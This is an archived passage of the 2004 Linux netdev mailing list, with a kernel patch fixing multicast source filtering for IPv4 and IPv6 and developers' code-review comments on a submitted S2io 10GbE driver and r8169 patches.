netdev@oss.sgi.com > Subject: Re: Submission for S2io 10GbE driver > Okay, but next time how about only sending the source of the > driver as a kernel patch. Not a whole build directory > including binaries and CVS! Will do next time. Leonid From dlstevens@us.ibm.com Fri Jan 23 14:40:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 14:40:37 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NMeM7J032169 for ; Fri, 23 Jan 2004 14:40:22 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0NMdeQL648540; Fri, 23 Jan 2004 17:39:51 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0NMdSS4082058; Fri, 23 Jan 2004 15:39:29 -0700 Importance: Normal Sensitivity: Subject: Re: multicast loop with include filters fix [PATCH] To: "David S. Miller" Cc: netdev@oss.sgi.com, stevenh@xsmail.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Fri, 23 Jan 2004 15:39:26 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/23/2004 15:39:28 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4B7DFEF99E88f9e8a93df938690918c07BBE4B7DFEF99E8" X-archive-position: 2710 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4B7DFEF99E88f9e8a93df938690918c07BBE4B7DFEF99E8 Content-type: multipart/alternative; Boundary="1__=07BBE4B7DFEF99E88f9e8a93df938690918c07BBE4B7DFEF99E8" --1__=07BBE4B7DFEF99E88f9e8a93df938690918c07BBE4B7DFEF99E8 Content-type: text/plain; charset=US-ASCII Dave, Here's the 2.4.x version of the patch. +-DLS diff -ruN linux-2.4.25-pre7/net/ipv4/igmp.c linux-2.4.25-pre7F1/net/ipv4/igmp.c --- linux-2.4.25-pre7/net/ipv4/igmp.c 2004-01-23 13:54:35.000000000 -0800 +++ linux-2.4.25-pre7F1/net/ipv4/igmp.c 2004-01-23 13:58:43.000000000 -0800 @@ -2071,16 +2071,19 @@ * Differs from 2.5.x here. +-DLS 4/23/03 */ if (im) { - for (psf=im->sources; psf; psf=psf->sf_next) { - if (psf->sf_inaddr == src_addr) - break; - } - if (psf) - rv = psf->sf_count[MCAST_INCLUDE] || - psf->sf_count[MCAST_EXCLUDE] != - im->sfcount[MCAST_EXCLUDE]; - else - rv = im->sfcount[MCAST_EXCLUDE] != 0; + if (src_addr) { + for (psf=im->sources; psf; psf=psf->sf_next) { + if (psf->sf_inaddr == src_addr) + break; + } + if (psf) + rv = psf->sf_count[MCAST_INCLUDE] || + psf->sf_count[MCAST_EXCLUDE] != + im->sfcount[MCAST_EXCLUDE]; + else + rv = im->sfcount[MCAST_EXCLUDE] != 0; + } else + rv = 1; } read_unlock(&in_dev->lock); return rv; diff -ruN linux-2.4.25-pre7/net/ipv6/mcast.c linux-2.4.25-pre7F1/net/ipv6/mcast.c --- linux-2.4.25-pre7/net/ipv6/mcast.c 2004-01-23 13:54:35.000000000 -0800 +++ linux-2.4.25-pre7F1/net/ipv6/mcast.c 2004-01-23 13:56:19.000000000 -0800 @@ -914,20 +914,24 @@ break; } if (mc) { - struct ip6_sf_list *psf; + if (!ipv6_addr_any(src_addr)) { + struct ip6_sf_list *psf; - spin_lock_bh(&mc->mca_lock); - for (psf=mc->mca_sources; psf; psf=psf->sf_next) { - if (ipv6_addr_cmp(&psf->sf_addr, src_addr) == 0) - break; - } - if (psf) - rv = psf->sf_count[MCAST_INCLUDE] || - psf->sf_count[MCAST_EXCLUDE] != - mc->mca_sfcount[MCAST_EXCLUDE]; - else - rv = mc->mca_sfcount[MCAST_EXCLUDE] != 0; - spin_unlock_bh(&mc->mca_lock); + spin_lock_bh(&mc->mca_lock); + for (psf=mc->mca_sources;psf;psf=psf->sf_next) { + if (ipv6_addr_cmp(&psf->sf_addr, + src_addr) == 0) + break; + } + if (psf) + rv = psf->sf_count[MCAST_INCLUDE] || + psf->sf_count[MCAST_EXCLUDE] != + mc->mca_sfcount[MCAST_EXCLUDE]; + else + rv = mc->mca_sfcount[MCAST_EXCLUDE] !=0; + spin_unlock_bh(&mc->mca_lock); + } else + rv = 1; /* don't filter unspecified source */ } read_unlock_bh(&idev->lock); in6_dev_put(idev); (See attached file: 2.4.25-pre7IGMP.patch) --1__=07BBE4B7DFEF99E88f9e8a93df938690918c07BBE4B7DFEF99E8 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Dave,
Here's the 2.4.x version of the patch.

+-DLS

diff -ruN linux-2.4.25-pre7/net/ipv4/igmp.c linux-2.4.25-pre7F1/net/ipv4/igmp.c
--- linux-2.4.25-pre7/net/ipv4/igmp.c 2004-01-23 13:54:35.000000000 -0800
+++ linux-2.4.25-pre7F1/net/ipv4/igmp.c 2004-01-23 13:58:43.000000000 -0800
@@ -2071,16 +2071,19 @@
* Differs from 2.5.x here. +-DLS 4/23/03
*/
if (im) {
- for (psf=im->sources; psf; psf=psf->sf_next) {
- if (psf->sf_inaddr == src_addr)
- break;
- }
- if (psf)
- rv = psf->sf_count[MCAST_INCLUDE] ||
- psf->sf_count[MCAST_EXCLUDE] !=
- im->sfcount[MCAST_EXCLUDE];
- else
- rv = im->sfcount[MCAST_EXCLUDE] != 0;
+ if (src_addr) {
+ for (psf=im->sources; psf; psf=psf->sf_next) {
+ if (psf->sf_inaddr == src_addr)
+ break;
+ }
+ if (psf)
+ rv = psf->sf_count[MCAST_INCLUDE] ||
+ psf->sf_count[MCAST_EXCLUDE] !=
+ im->sfcount[MCAST_EXCLUDE];
+ else
+ rv = im->sfcount[MCAST_EXCLUDE] != 0;
+ } else
+ rv = 1;
}
read_unlock(&in_dev->lock);
return rv;
diff -ruN linux-2.4.25-pre7/net/ipv6/mcast.c linux-2.4.25-pre7F1/net/ipv6/mcast.c
--- linux-2.4.25-pre7/net/ipv6/mcast.c 2004-01-23 13:54:35.000000000 -0800
+++ linux-2.4.25-pre7F1/net/ipv6/mcast.c 2004-01-23 13:56:19.000000000 -0800
@@ -914,20 +914,24 @@
break;
}
if (mc) {
- struct ip6_sf_list *psf;
+ if (!ipv6_addr_any(src_addr)) {
+ struct ip6_sf_list *psf;

- spin_lock_bh(&mc->mca_lock);
- for (psf=mc->mca_sources; psf; psf=psf->sf_next) {
- if (ipv6_addr_cmp(&psf->sf_addr, src_addr) == 0)
- break;
- }
- if (psf)
- rv = psf->sf_count[MCAST_INCLUDE] ||
- psf->sf_count[MCAST_EXCLUDE] !=
- mc->mca_sfcount[MCAST_EXCLUDE];
- else
- rv = mc->mca_sfcount[MCAST_EXCLUDE] != 0;
- spin_unlock_bh(&mc->mca_lock);
+ spin_lock_bh(&mc->mca_lock);
+ for (psf=mc->mca_sources;psf;psf=psf->sf_next) {
+ if (ipv6_addr_cmp(&psf->sf_addr,
+ src_addr) == 0)
+ break;
+ }
+ if (psf)
+ rv = psf->sf_count[MCAST_INCLUDE] ||
+ psf->sf_count[MCAST_EXCLUDE] !=
+ mc->mca_sfcount[MCAST_EXCLUDE];
+ else
+ rv = mc->mca_sfcount[MCAST_EXCLUDE] !=0;
+ spin_unlock_bh(&mc->mca_lock);
+ } else
+ rv = 1; /* don't filter unspecified source */
}
read_unlock_bh(&idev->lock);
in6_dev_put(idev);

(See attached file: 2.4.25-pre7IGMP.patch)
--1__=07BBE4B7DFEF99E88f9e8a93df938690918c07BBE4B7DFEF99E8-- --0__=07BBE4B7DFEF99E88f9e8a93df938690918c07BBE4B7DFEF99E8 Content-type: application/octet-stream; name="2.4.25-pre7IGMP.patch" Content-Disposition: attachment; filename="2.4.25-pre7IGMP.patch" Content-ID: <10__=07BBE4B7DFEF99E88f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNC4yNS1wcmU3L25ldC9pcHY0L2lnbXAuYyBsaW51eC0yLjQuMjUt cHJlN0YxL25ldC9pcHY0L2lnbXAuYwotLS0gbGludXgtMi40LjI1LXByZTcvbmV0L2lwdjQvaWdt cC5jCTIwMDQtMDEtMjMgMTM6NTQ6MzUuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjQuMjUt cHJlN0YxL25ldC9pcHY0L2lnbXAuYwkyMDA0LTAxLTIzIDEzOjU4OjQzLjAwMDAwMDAwMCAtMDgw MApAQCAtMjA3MSwxNiArMjA3MSwxOSBAQAogCSAqIERpZmZlcnMgZnJvbSAyLjUueCBoZXJlLgkr LURMUyA0LzIzLzAzCiAJICovCiAJaWYgKGltKSB7Ci0JCWZvciAocHNmPWltLT5zb3VyY2VzOyBw c2Y7IHBzZj1wc2YtPnNmX25leHQpIHsKLQkJCWlmIChwc2YtPnNmX2luYWRkciA9PSBzcmNfYWRk cikKLQkJCQlicmVhazsKLQkJfQotCQlpZiAocHNmKQotCQkJcnYgPSBwc2YtPnNmX2NvdW50W01D QVNUX0lOQ0xVREVdIHx8Ci0JCQkJcHNmLT5zZl9jb3VudFtNQ0FTVF9FWENMVURFXSAhPQotCQkJ CWltLT5zZmNvdW50W01DQVNUX0VYQ0xVREVdOwotCQllbHNlCi0JCQlydiA9IGltLT5zZmNvdW50 W01DQVNUX0VYQ0xVREVdICE9IDA7CisJCWlmIChzcmNfYWRkcikgeworCQkJZm9yIChwc2Y9aW0t PnNvdXJjZXM7IHBzZjsgcHNmPXBzZi0+c2ZfbmV4dCkgeworCQkJCWlmIChwc2YtPnNmX2luYWRk ciA9PSBzcmNfYWRkcikKKwkJCQkJYnJlYWs7CisJCQl9CisJCQlpZiAocHNmKQorCQkJCXJ2ID0g cHNmLT5zZl9jb3VudFtNQ0FTVF9JTkNMVURFXSB8fAorCQkJCQlwc2YtPnNmX2NvdW50W01DQVNU X0VYQ0xVREVdICE9CisJCQkJCWltLT5zZmNvdW50W01DQVNUX0VYQ0xVREVdOworCQkJZWxzZQor CQkJCXJ2ID0gaW0tPnNmY291bnRbTUNBU1RfRVhDTFVERV0gIT0gMDsKKwkJfSBlbHNlCisJCQly diA9IDE7CiAJfQogCXJlYWRfdW5sb2NrKCZpbl9kZXYtPmxvY2spOwogCXJldHVybiBydjsKZGlm ZiAtcnVOIGxpbnV4LTIuNC4yNS1wcmU3L25ldC9pcHY2L21jYXN0LmMgbGludXgtMi40LjI1LXBy ZTdGMS9uZXQvaXB2Ni9tY2FzdC5jCi0tLSBsaW51eC0yLjQuMjUtcHJlNy9uZXQvaXB2Ni9tY2Fz dC5jCTIwMDQtMDEtMjMgMTM6NTQ6MzUuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjQuMjUt cHJlN0YxL25ldC9pcHY2L21jYXN0LmMJMjAwNC0wMS0yMyAxMzo1NjoxOS4wMDAwMDAwMDAgLTA4 MDAKQEAgLTkxNCwyMCArOTE0LDI0IEBACiAJCQkJYnJlYWs7CiAJCX0KIAkJaWYgKG1jKSB7Ci0J CQlzdHJ1Y3QgaXA2X3NmX2xpc3QgKnBzZjsKKwkJCWlmICghaXB2Nl9hZGRyX2FueShzcmNfYWRk cikpIHsKKwkJCQlzdHJ1Y3QgaXA2X3NmX2xpc3QgKnBzZjsKIAotCQkJc3Bpbl9sb2NrX2JoKCZt Yy0+bWNhX2xvY2spOwotCQkJZm9yIChwc2Y9bWMtPm1jYV9zb3VyY2VzOyBwc2Y7IHBzZj1wc2Yt PnNmX25leHQpIHsKLQkJCQlpZiAoaXB2Nl9hZGRyX2NtcCgmcHNmLT5zZl9hZGRyLCBzcmNfYWRk cikgPT0gMCkKLQkJCQkJYnJlYWs7Ci0JCQl9Ci0JCQlpZiAocHNmKQotCQkJCXJ2ID0gcHNmLT5z Zl9jb3VudFtNQ0FTVF9JTkNMVURFXSB8fAotCQkJCQlwc2YtPnNmX2NvdW50W01DQVNUX0VYQ0xV REVdICE9Ci0JCQkJCW1jLT5tY2Ffc2Zjb3VudFtNQ0FTVF9FWENMVURFXTsKLQkJCWVsc2UKLQkJ CQlydiA9IG1jLT5tY2Ffc2Zjb3VudFtNQ0FTVF9FWENMVURFXSAhPSAwOwotCQkJc3Bpbl91bmxv Y2tfYmgoJm1jLT5tY2FfbG9jayk7CisJCQkJc3Bpbl9sb2NrX2JoKCZtYy0+bWNhX2xvY2spOwor CQkJCWZvciAocHNmPW1jLT5tY2Ffc291cmNlcztwc2Y7cHNmPXBzZi0+c2ZfbmV4dCkgeworCQkJ CQlpZiAoaXB2Nl9hZGRyX2NtcCgmcHNmLT5zZl9hZGRyLAorCQkJCQkgICAgc3JjX2FkZHIpID09 IDApCisJCQkJCQlicmVhazsKKwkJCQl9CisJCQkJaWYgKHBzZikKKwkJCQkJcnYgPSBwc2YtPnNm X2NvdW50W01DQVNUX0lOQ0xVREVdIHx8CisJCQkJCQlwc2YtPnNmX2NvdW50W01DQVNUX0VYQ0xV REVdICE9CisJCQkJCQltYy0+bWNhX3NmY291bnRbTUNBU1RfRVhDTFVERV07CisJCQkJZWxzZQor CQkJCQlydiA9IG1jLT5tY2Ffc2Zjb3VudFtNQ0FTVF9FWENMVURFXSAhPTA7CisJCQkJc3Bpbl91 bmxvY2tfYmgoJm1jLT5tY2FfbG9jayk7CisJCQl9IGVsc2UKKwkJCQlydiA9IDE7IC8qIGRvbid0 IGZpbHRlciB1bnNwZWNpZmllZCBzb3VyY2UgKi8KIAkJfQogCQlyZWFkX3VubG9ja19iaCgmaWRl di0+bG9jayk7CiAJCWluNl9kZXZfcHV0KGlkZXYpOwo= --0__=07BBE4B7DFEF99E88f9e8a93df938690918c07BBE4B7DFEF99E8-- From ak@suse.de Fri Jan 23 15:10:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 15:11:01 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NNAS7J000984 for ; Fri, 23 Jan 2004 15:10:29 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 653298E651; Fri, 23 Jan 2004 23:22:11 +0100 (CET) Date: Fri, 23 Jan 2004 23:22:09 +0100 From: Andi Kleen To: "Leonid Grossman" Cc: netdev@oss.sgi.com Subject: Re: FW: Submission for S2io 10GbE driver Message-Id: <20040123232209.2739e6aa.ak@suse.de> In-Reply-To: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com> References: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2711 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Fri, 23 Jan 2004 13:22:11 -0800 "Leonid Grossman" wrote: > Hi all, > Please fund attached a source code for S2io 10GbE adapter (with some > disclaimers below). > Send me your comments/suggestions on the source please, and we will > address the code changes (if any) in real time. From a quick look: The debugging ioctls look quite dangerous. iirc they are not root projected by higher level code. Either remove them or add a root check at least, otherwise you'll have a potential root hole. All the ARCH_PPC64 ifdefs shouldn't be needed. Can you remove that? If there are problems in ppc64 code they should be fixed there, not worked around. Same with the ifdefs for kernel 2.6 features. An driver integrated into the kernel should not contain such ifdefs. mdelay(100) is quite evil. Better make that a schedule_timeout() in process context. ETH_GREGS/GEEPROM/SEEPROM/GSTRINGS ioctl handlers: seems to leak memory on error paths ETH_SEEPROM: len should be limit checked Running the driver through scripts/Lindent may not be a bad idea. initNic: the jiffies check does not handle jiffies wrapping. 2.6 forces a jiffies wrap 5 minutes after boot, so this may be fatal. Use the right macros for this. init_nic: x86-64 supports consistent dma masks too. in fact they should be just used unconditionally. -Andi From romieu@fr.zoreil.com Fri Jan 23 15:36:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 15:36:19 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NNa17J009863 for ; Fri, 23 Jan 2004 15:36:02 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0NNWHgf025562; Sat, 24 Jan 2004 00:32:17 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0NNWGJX025561; Sat, 24 Jan 2004 00:32:16 +0100 Date: Sat, 24 Jan 2004 00:32:16 +0100 From: Francois Romieu To: dpollock@acm.org Cc: netdev@oss.sgi.com Subject: Re: r8169 patch set Message-ID: <20040124003216.A24000@electric-eye.fr.zoreil.com> References: <1074876326.5510.5.camel@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1074876326.5510.5.camel@localhost>; from douglas.pollock@magma.ca on Fri, Jan 23, 2004 at 11:45:26AM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 2712 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Douglas Pollock : [...] > Let me know if you would like me to test something in particular. Yes. I assume it is a bit premature to try to run r8169 with HT SMP, acpi and nvidia binary module at the same time. So I would suggest to build a kernel with both SMP and acpi disabled. Then boot in single user mode or anything similar which avoids the nvidia module to be loaded at all before the test*. I'd welcome two things: - behavior with a simple 'ping -c 144 remote_host' No load, it just walks twice the Rx/Tx rings. - behavior under load. Use the tool of your choice. No need to reboot after the aforementioned test if the system is still sane. If you can spend some time on it, a report between each patch would be nice: 1) r8169-tx-index-overflow.patch 2) r8169-tx-index-overflow.patch + r8169-dma-api-tx.patch 3) r8169-tx-index-overflow.patch + r8169-dma-api-tx.patch + r8169-dma-api-rx-buffers.patch etc, until: - the 16 rounds of patches/tests are exhausted ; - you are bored :o) The 4 most recent patches (-getstats/-addr-high/-ethtool/-static) can wait. [*] Why ? 1) there is a ~200x ratio in size from r8169 to nvidia module r8169 9728 0 nvidia 1701612 8 2) because. -- Ueimor From shemminger@osdl.org Fri Jan 23 16:21:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 16:22:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0O0Lk7J014681 for ; Fri, 23 Jan 2004 16:21:48 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0O0LYo04804; Fri, 23 Jan 2004 16:21:34 -0800 Date: Fri, 23 Jan 2004 16:21:34 -0800 From: Stephen Hemminger To: Andi Kleen Cc: "Leonid Grossman" , netdev@oss.sgi.com Subject: Re: Submission for S2io 10GbE driver Message-Id: <20040123162134.79c67ed5.shemminger@osdl.org> In-Reply-To: <20040123232209.2739e6aa.ak@suse.de> References: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com> <20040123232209.2739e6aa.ak@suse.de> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2713 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Noticed the setup loopback test seems to register for a packet type and then forget to unregister that type! Also nothing really restricts the packet type to only coming in on the expected interface; therefore if someone sends the same packet in over another interface, then sp->loop_pkt_cnt will end up incrementing some other drivers private data structure *bad*. IMHO the whole loopback test frame stuff seems like something in a test bed driver, not production code. From romieu@fr.zoreil.com Fri Jan 23 16:39:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 16:40:14 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0O0du7J020536 for ; Fri, 23 Jan 2004 16:39:58 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0O0c8gf026155; Sat, 24 Jan 2004 01:38:08 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0O0c75U026154; Sat, 24 Jan 2004 01:38:07 +0100 Date: Sat, 24 Jan 2004 01:38:07 +0100 From: Francois Romieu To: Leonid Grossman Cc: netdev@oss.sgi.com Subject: Re: FW: Submission for S2io 10GbE driver Message-ID: <20040124013807.B24000@electric-eye.fr.zoreil.com> References: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com>; from leonid.grossman@s2io.com on Fri, Jan 23, 2004 at 01:22:11PM -0800 X-Organisation: Land of Sunshine Inc. X-archive-position: 2714 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Leonid Grossman : [...] > Send me your comments/suggestions on the source please, and we will > address the code changes (if any) in real time. No need to hurry. s2io.c: [...] int s2io_starter(void); void s2io_closer(void); void s2io_tx_watchdog(struct net_device *dev); void s2io_tasklet(unsigned long dev_addr); void s2io_set_multicast(struct net_device *dev); int rxOsmHandler(nic_t *sp,u16 len,RxD_t *rxdp,int ring_no); void s2io_link(nic_t *sp, int link); void s2io_reset(nic_t *sp); -> s2io_tx_watchdog()...s2io_reset() probably want to be 'static' #ifdef CONFIGURE_NAPI_SUPPORT static int s2io_poll(struct net_device *dev, int *budget); #endif #define TASKLET_IN_USE test_and_set_bit(0, (unsigned long *)&sp->tasklet_status) #define PANIC 1 #define LOW 2 static inline int rx_buffer_level(nic_t *sp, int rxb_size, int ring) { int level = 0; if((sp->pkt_cnt[ring] - rxb_size) > 128) { level = LOW; if(rxb_size < sp->pkt_cnt[ring]/8) level = PANIC; -> whitespaces after the C keywords help sometimes (especially at 1:00 am) } return level; } [...] static char s2io_gstrings[][ETH_GSTRING_LEN] = { "Register test\t(offline)", "Eeprom test\t(offline)", "Loop back test\t(online)", "Link test\t(online)", "RLDRAM test\t(offline)", "BIST Test\t(offline)" -> please add a tab before the strings }; [...] if(size > MAX_AVAILABLE_TXDS) { DBG_PRINT(ERR_DBG,"%s: Total number of Tx FIFOs ",dev->name); DBG_PRINT(ERR_DBG,"exceeds the maximum value "); DBG_PRINT(ERR_DBG,"that can be used\n"); return FAILURE; ^^^^^^^ -> -ESOMETHING ? [...] for(i=0;iconfig.TxFIFONum;i++) { nic->mac_control.txdl_start_phy[i] = tmp_p_addr; nic->mac_control.txdl_start[i] = (TxD_t *)tmp_v_addr; nic->mac_control.tx_curr_put_info[i].offset = 0; nic->mac_control.tx_curr_put_info[i].fifo_len = nic->config.TxCfg[i].FifoLen-1; nic->mac_control.tx_curr_get_info[i].offset = 0; nic->mac_control.tx_curr_get_info[i].fifo_len = nic->config.TxCfg[i].FifoLen-1; -> you probably want to add local variables (as well as an helper function ?) to avoid repeating 'nic->mac_control' over and over. tmp_p_addr += (nic->config.TxCfg[i].FifoLen*(sizeof(TxD_t))* nic->config.MaxTxDs); tmp_v_addr += (nic->config.TxCfg[i].FifoLen*(sizeof(TxD_t))* nic->config.MaxTxDs); } /* Allocation and initialization of RXDs in Rings */ size = 0; for(i=0; iconfig.RxRingNum; i++) { if(nic->config.RxCfg[i].NumRxd % 128) { DBG_PRINT(ERR_DBG,"%s: RxD count of ",dev->name); DBG_PRINT(ERR_DBG,"Ring%d is not a multiple of ", i); DBG_PRINT(ERR_DBG,"RxDs per Block"); return FAILURE; } size += nic->config.RxCfg[i].NumRxd; nic->block_count[i] = nic->config.RxCfg[i].NumRxd/(MAX_RXDS_PER_BLOCK+1); nic->pkt_cnt[i] = nic->config.RxCfg[i].NumRxd-nic->block_count[i]; -> please add local variables. [...] /* Enable DTX_Control registers. */ /* LATEST Fix given by Richard to fix XAUI Configuration */ write64(&bar0->dtx_control,0x8000051500000000); udelay(50); write64(&bar0->dtx_control,0x80000515000000E0); udelay(50); write64(&bar0->dtx_control,0x80000515D93500E4); udelay(50); write64(&bar0->dtx_control,0x8001051500000000); udelay(50); write64(&bar0->dtx_control,0x80010515000000E0); udelay(50); write64(&bar0->dtx_control,0x80010515001E00E4); udelay(50); write64(&bar0->dtx_control,0x8002051500000000); udelay(50); write64(&bar0->dtx_control,0x80020515000000E0); udelay(50); write64(&bar0->dtx_control,0x80020515F21000E4); udelay(50); [...] -> this is a loop in disguise. [...] switch(i) { case 1: write64(&bar0->tx_fifo_partition_0, val64); val64 = 0; break; case 3: write64(&bar0->tx_fifo_partition_1, val64); val64 = 0; break; case 5: write64(&bar0->tx_fifo_partition_2, val64); val64 = 0; break; case 7: write64(&bar0->tx_fifo_partition_3, val64); break; -> please indent (see Documentation/CodingStyle as a general guide). /* * New procedure to clear mac address reading problems on Alpha platforms * */ void FixMacAddress(nic_t *sp) { XENA_dev_config_t *bar0 = (XENA_dev_config_t *)sp->bar0; write64(&bar0->gpio_control,0x0060000000000000); udelay(10); write64(&bar0->gpio_control,0x0060600000000000); udelay(10); [...] -> this is a loop in disguise. * Description: * Free all queued Tx buffers. */ void freeTxBuffers(struct s2io_nic *nic) { [...] if(skb == NULL) { DBG_PRINT(ERR_DBG,"%s: NULL skb ",dev->name); DBG_PRINT(ERR_DBG,"in Tx Int\n"); spin_unlock(&nic->tx_lock); -> just goto to the normal spin_unlock and avoid an extra return statement. return; } #if DEBUG_ON cnt++; #endif dev_kfree_skb(skb); memset(txdp, 0, sizeof(TxD_t)); } #if DEBUG_ON DBG_PRINT(INTR_DBG,"%s:forcibly freeing %d skbs on FIFO%d\n", dev->name,cnt,i); #endif -> Please factor these #ifdef. } spin_unlock(&nic->tx_lock); } [...] int s2io_close(struct net_device *dev) { nic_t *sp = (nic_t *)dev->priv; XENA_dev_config_t *bar0 = (XENA_dev_config_t *)sp->bar0; register u64 val64 = 0; u16 cnt=0; spin_lock(&sp->isr_lock); netif_stop_queue(dev); /* disable Tx and Rx traffic on the NIC */ stopNic(sp); /* If the device tasklet is running, wait till its done before killing it */ while(atomic_read(&(sp->tasklet_status))) { mdelay(100); } tasklet_kill(&sp->task); -> this can schedule() while the driver holds a spinlock. [...] #ifdef AS_A_MODULE MODULE_AUTHOR("Raghavendra Koushik "); MODULE_LICENSE("GPL"); MODULE_PARM(ring_num, "1-" __MODULE_STRING(1) "i"); MODULE_PARM(frame_len, "1-" __MODULE_STRING(8) "i"); MODULE_PARM(ring_len, "1-" __MODULE_STRING(8) "i"); MODULE_PARM(fifo_num, "1-" __MODULE_STRING(1) "i"); MODULE_PARM(fifo_len, "1-" __MODULE_STRING(8) "i"); MODULE_PARM(rx_prio, "1-" __MODULE_STRING(1) "i"); MODULE_PARM(tx_prio, "1-" __MODULE_STRING(1) "i"); MODULE_PARM(latency_timer, "1-" __MODULE_STRING(1) "i"); #endif -> Probably slowly old-fashioning. See include/linux/moduleparam.h [...] static int __devinit s2io_init_nic(struct pci_dev *pdev,const struct pci_device_id *pre) { nic_t *sp; struct net_device *dev; char *dev_name="S2IO 10GE NIC"; int i,j, ret; int dma_flag = FALSE; u32 mac_up, mac_down; u64 val64 = 0, tmp64 = 0; XENA_dev_config_t *bar0 = NULL; if((ret = pci_enable_device(pdev))) { DBG_PRINT(ERR_DBG,"s2io_init_nic: pci_enable_device failed\n"); return ret; } if (!pci_set_dma_mask(pdev, 0xffffffffffffffff)) { DBG_PRINT(INIT_DBG,"s2io_init_nic: Using 64bit DMA\n"); dma_flag = TRUE; #if defined (XENA_ARCH_64) || (PPC_ARCH64) #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,00) if (pci_set_consistent_dma_mask(pdev, 0xffffffffffffffffULL)) { DBG_PRINT(ERR_DBG,"Unable to obtain 64bit DMA for \ consistent allocations\n"); return -ENOMEM; -> missing pci_disable_device(). You should probably gotoize this part. [...] /* Tx side parameters. */ if(fifo_num) { sp->config.TxFIFONum = fifo_num; } else { sp->config.TxFIFONum = 1; } -> sp->config.TxFIFONum = fifo_num ? fifo_num : 1; [...] /* Rx side parameters. */ if(ring_num) { sp->config.RxRingNum = ring_num; } else { sp->config.RxRingNum = 1; } -> sp->config.RxRingNum = ring_num ? ring_num : 1; [...] /* The features the device 